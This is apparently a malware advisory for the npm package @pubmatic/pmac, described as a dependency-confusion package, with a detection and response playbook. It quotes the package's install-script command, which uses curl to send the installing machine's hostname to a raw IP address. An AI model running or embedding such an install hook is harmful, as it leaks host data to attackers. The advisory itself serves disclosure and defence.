@pubmatic/pmacnpm
Advisory published Updated
@pubmatic/pmac is a confirmed malicious npm package (MAL-2026-20682) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @pubmatic/pmac (npm)
What this malware does
Malicious package. Dependency-confusion style package using a company-named scope. The install script runs node index.js && curl http://52.56.233.136:11111/?linux=hostname``, falling back to ?windows=%COMPUTERNAME%, sending the installing host's name to a raw IP. Observed in a sandboxed install, which connected to 52.56.233.136. The package has since been removed from the npm registry.
Malicious versions
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for @pubmatic/pmac (version 1.0.0).
If you installed it — respond
Remove @pubmatic/pmac from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @pubmatic/pmac was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Credits
- wormsign · finder
Detect & block this
O3 blocks @pubmatic/pmac-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.